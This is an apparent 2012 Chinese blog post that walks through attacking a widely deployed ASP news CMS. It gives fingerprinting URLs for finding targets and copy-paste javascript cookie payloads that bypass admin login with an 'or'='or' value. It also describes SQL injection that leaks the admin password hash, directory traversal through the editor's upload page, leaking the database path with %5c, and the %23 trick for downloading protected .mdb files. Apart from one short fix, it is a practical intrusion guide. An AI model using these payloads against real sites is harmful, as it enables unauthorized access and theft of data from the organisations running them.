讯时新闻系统漏洞

这套系统有N年版,一般的政府、学校和企事业单位用得多,
特证: 显示新闻News_View.asp?NewsID= 登陆login.asp?id=3,最主要的特证是用的一个有一个EDIT目录,下面的数据库是用的db/#ewebeditor.asp
以上特证只要中二个就基本可以肯定是这套系统
漏洞:这套系统原来有N多漏洞,但经过改进,现在主要的问题是COOKIES注入和列目录问题
具体的代码我就讲了,直接讲利用
第一板斧:
老版中存在一个后台COOKIES注入
直接打开登陆后台,然后在地址栏输入
javascript:alert(document.cookie="adminuser="+escape("‘or'='or'"));javascript:alert(document.cookie="adminpass="+escape("‘or'='or'"));javascript:alert(document.cookie="admindj="+escape("1″));
这个功能就是把用户名和密码设置 为'or'='or' (这个有什么用不说了吧),还有把admindj设置为1
按回车后,直接访问 /管理目录/admin_index.asp就进后台了,后台直接有备份功能
管理目录自己找一下,一般在LOGIN.ASP的同级目录
第二析斧:
其中的投票文件过滤不严,js-xgxx.asp文件的xgnews参数没有过滤,具体的可以一朋友写的专用小工具(也可以对其它某些有COOKIES注入,但关键字和其它一些参数是固定了,作用可能不大,只是我们写来娱乐一下的,牛人不要笑)
用这个直接可以得到管理员用户名和密码的MD5
有了MD5可以去破解,如果破不了把上面的改一下
javascript:alert(document.cookie="adminuser="+escape(" 用户名"));javascript:alert(document.cookie="adminpass="+escape("密码md5值")); javascript:alert(document.cookie="admindj="+escape("1″));
确定后直进后台
第三板斧:
如果以上还是不行那就看......还是cookies问题,有某些版本中过滤了COOKIES中的'号,这样我们的万能密码就起不了作用了,asp文件的 COOKIES注入过没戏了,但是admindj=1还有用,输入完上面的代码后,如果还进不了后台,那就访问 /edit/admin_uploadfile.asp?id=14&dir=..,然后跟EWEBEDITOR的列目录漏洞一样,只需要改变 dir=后面的参数就可以看到查应的目录,如dir=..\.. dir=..\..\..
可以找一些他的数据库备份啊或其它的.

 

当看到它后台目录后,可以耐心的找找,没准能找到很有用的东西,我就找到了整个网站的备份,是rar格式的,我直接下载下来了,通过这个我就知道了webshell,当然这是在其他方面漏洞很少而又很幸运的前提下才有的。我试过别的方法得webshell,但是没成功…

 

另外还有个漏洞可能会有用

 

我们来看admin目录下的admin_conn.asp 文件,这文件代码很简单就几句话,我们来看源码

<%
mdb="../"
%><!--#include file = ../admin_conn.asp -->

够简单吧,但是可能就是因为程序员疏忽,所以出现问题啦,这是一个数据库链接文件,但是因为这文件没有容错语句,所以导致暴库漏洞下面是我的本机地址http://localhost/news/admin/admin_conn.asp,我们把最后一个“/”号改成“%5c”然后,哈哈,暴库数据库地址拉,大家看截图

,而且这套系统没有数据库防下载措施,数据库可以轻易下载

这个漏洞修复方法很简单,只要添加防错语句即可
”ON ERROR RESUME NEXT“这一句话!!!!

这漏洞应该是程序员疏忽造成的,在根目录下也有个admin_conn.asp 文件,这文件程序员添加了防错语句,

这漏洞危害较大,请大家不要拿这程序拿来做坏事哦!!!

 

如果得到了webshell,就可以下载它的数据库了,看哪个数据库对你有用就下载哪个,有时管理员会在数据库名称上做一些手脚,让你下载不成功,那么下面的方法一定有用:

数据库名前加“#”
  只需要把数据库文件前名加上“#”,然后修改数据库连接文件(如conn.asp)中的数据库地址。原理是下载的时候只能识别“#”号前名的部分,对于后面的自动去掉,比如你要下载:http://www.pcdigest.com/date/#123.mdb (假设存在的话)。无论是 IE 还是 FlashGet等下到的都是http://www.test.com/date/index.htm(或index.asp、default.jsp等你在 IIS设置的首页文档)
  另外在数据库文件名中保留一些空格也起到类似作用,由于HTTP协议对地址解析的特殊性,空格会被编码为“%20”,如http://www.test.com/date/123 456.mdb,下载的时http://www.test.com/date/123%20456.mdb。而我们的目录就根本没有123%20456.mdb这个文件,所以下载也是无效的。这样的修改后,即使你暴露了数据库地址,一般情况下别人也是无法下载!

 

“#”号方案的不可行性:其实在较早的一篇博客堂文章中已经提到这个问题了。将“#”号替换为“%23”就可以突破这个“关卡”了,比如:http://www.abc.com/#data.mdb,就直接在浏览器中输入:http://www.abc.com/%23data.mdb 就可以下载了!

空格方案就不必多说了,我在本机的试验证明,在浏览器地址栏中直接写 http://localhost/testdata.mdb 没有任何问题很顺利就下载到了这个 test data.mdb,不知作者是什么解决方案。

posted @ 2012-11-15 22:42  山貓  阅读(694)  评论(0编辑  收藏  举报